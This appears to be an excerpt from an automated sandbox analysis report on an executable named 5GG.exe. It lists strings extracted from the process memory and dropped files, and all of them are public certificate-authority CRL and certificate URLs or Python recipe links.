Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660390103.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1691659663.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660199691.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660313678.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660469872.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1659336779.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657903145.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657649288.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693148519.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1691105575.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, _multiprocessing.pyd.1.dr, _overlapped.pyd.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt0
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceCodeSigningCA.crt0
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660390103.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1691659663.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660199691.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660313678.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660469872.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1659336779.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657903145.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657649288.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693148519.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1691105575.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, _multiprocessing.pyd.1.dr, _overlapped.pyd.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: 5GG.exe, 00000029.00000003.2443285822.000002ACF3F48000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2443285822.000002ACF3F87000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577916/
Source: 5GG.exe, 00000001.00000003.1669056144.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.com
Source: 5GG.exe, 00000001.00000003.1669056144.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 5GG.exe, 00000001.00000003.1671502734.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670435139.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1671285767.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1671784319.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 7.exe.1.dr	String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
Source: 5GG.exe, 00000001.00000003.1671502734.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670435139.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1671784319.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 7.exe.1.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: 5GG.exe, 00000001.00000003.1671502734.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670435139.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1671784319.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 7.exe.1.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/
Source: 5GG.exe, 00000001.00000003.1668796406.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1669056144.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663745033.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668796406.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662197660.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662833605.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662754073.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661201242.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662368240.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662754073.00000145A1933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 5GG.exe, 00000001.00000003.1663815692.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.usert
Source: 5GG.exe, 00000001.00000003.1663815692.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertrtok
Source: 5GG.exe, 00000001.00000003.1663815692.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertrtokstrtok_sucrtbase.strtok_sstrxfrmucrtbase.strxfrmtolowerucrtbase.tolowertoupperuc
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: 5GG.exe, 00000001.00000003.1691659663.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660199691.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660313678.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660469872.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1659336779.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657903145.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657649288.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693148519.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1691105575.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, _multiprocessing.pyd.1.dr, _overlapped.pyd.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0O
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660390103.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1691659663.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660199691.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660313678.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660469872.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1659336779.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657903145.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657649288.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693148519.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1691105575.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, _multiprocessing.pyd.1.dr, _overlapped.pyd.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: 5GG.exe, 00000001.00000003.1660390103.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.cr
Source: _overlapped.pyd.1.dr, api-ms-win-crt-runtime-l1-1-0.dll.1.dr, api-ms-win-core-file-l1-1-0.dll.1.dr, api-ms-win-crt-locale-l1-1-0.dll.1.dr, api-ms-win-core-file-l1-2-0.dll.1.dr, api-ms-win-crt-heap-l1-1-0.dll.1.dr, libssl-1_1.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/ha-cs-2011a.crl0.
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-ha-cs-g1.crl00
Source: 5GG.exe, 00000001.00000003.1691659663.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.dig
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/ha-cs-2011a.crl0L
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
